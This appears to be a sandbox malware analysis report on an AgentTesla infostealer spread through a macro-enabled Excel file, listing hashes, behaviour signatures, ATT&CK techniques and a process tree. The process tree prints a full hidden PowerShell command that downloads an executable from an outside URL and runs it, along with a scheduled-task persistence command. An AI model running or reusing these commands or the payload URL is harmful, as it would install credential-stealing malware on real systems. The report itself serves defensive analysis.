agenttesla | ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e

General

Target
Shipping-Documents.xlsm
Size 152KB
Sample200709-a8rewrmtqa
SHA256 ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
MD5 ffaffe494f31800a47057a82843480c5
SHA1 8a0695bc3f0776a769693ff22db7cd1e3ed0c177
SHA512 7e3ad55095d6859192596254ab7464c4a8368cc98049e4e8d45158fd16f50bb99ab6c3e45c7761f4655255a366c02da236a5298b35f723668120652826cfd2c9
MD5 SHA1 SHA512

Score

10^/10

spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://shopcart.indbytes.com/cig/myori.jpg

Signatures

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
112	EXCEL.EXE
112	EXCEL.EXE
112	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1048	112	cmd.exe	23

Loads dropped DLL 1 IoCs

pid	Process
1876	csle.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Office loads VBA resources, possible macro or embedded object present
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
112	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
4	1512	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1876	csle.exe
1644	csle.exe

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 112 wrote to memory of 1048	112	EXCEL.EXE	24
PID 112 wrote to memory of 1048	112	EXCEL.EXE	24
PID 112 wrote to memory of 1048	112	EXCEL.EXE	24
PID 1048 wrote to memory of 1512	1048	cmd.exe	26
PID 1048 wrote to memory of 1512	1048	cmd.exe	26
PID 1048 wrote to memory of 1512	1048	cmd.exe	26
PID 1512 wrote to memory of 1876	1512	powershell.exe	28
PID 1512 wrote to memory of 1876	1512	powershell.exe	28
PID 1512 wrote to memory of 1876	1512	powershell.exe	28
PID 1512 wrote to memory of 1876	1512	powershell.exe	28
PID 1876 wrote to memory of 1788	1876	csle.exe	29
PID 1876 wrote to memory of 1788	1876	csle.exe	29
PID 1876 wrote to memory of 1788	1876	csle.exe	29
PID 1876 wrote to memory of 1788	1876	csle.exe	29
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31
PID 1876 wrote to memory of 1644	1876	csle.exe	31

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1876 set thread context of 1644	1876	csle.exe	31

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1788	schtasks.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1876	csle.exe
Token: SeDebugPrivilege	1644	csle.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1512	powershell.exe
1512	powershell.exe
1876	csle.exe
1644	csle.exe
1644	csle.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Shipping-Documents.xlsm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')
    3⤵
    - Blacklisted process makes network request
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious behavior: EnumeratesProcesses
    PID:1512
  - - C:\Users\Admin\AppData\Local\Temp\csle.exe
      "C:\Users\Admin\AppData\Local\Temp\csle.exe"
      4⤵
      Loads dropped DLL
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious behavior: EnumeratesProcesses
      PID:1876
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eKYWQxlZZ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp"
        5⤵
        Creates scheduled task(s)
        
        PID:1788
    - - C:\Users\Admin\AppData\Local\Temp\csle.exe
        
        "{path}"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious behavior: EnumeratesProcesses
        
        PID:1644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/112-0-0x000000000043A000-0x000000000043C000-memory.dmp

Download

memory/112-2-0x0000000000439000-0x000000000043A000-memory.dmp

Download

memory/1644-17-0x0000000000400000-0x000000000044C000-memory.dmp

Download

memory/1644-16-0x0000000000400000-0x000000000044C000-memory.dmp

Download

memory/1644-13-0x0000000000400000-0x000000000044C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads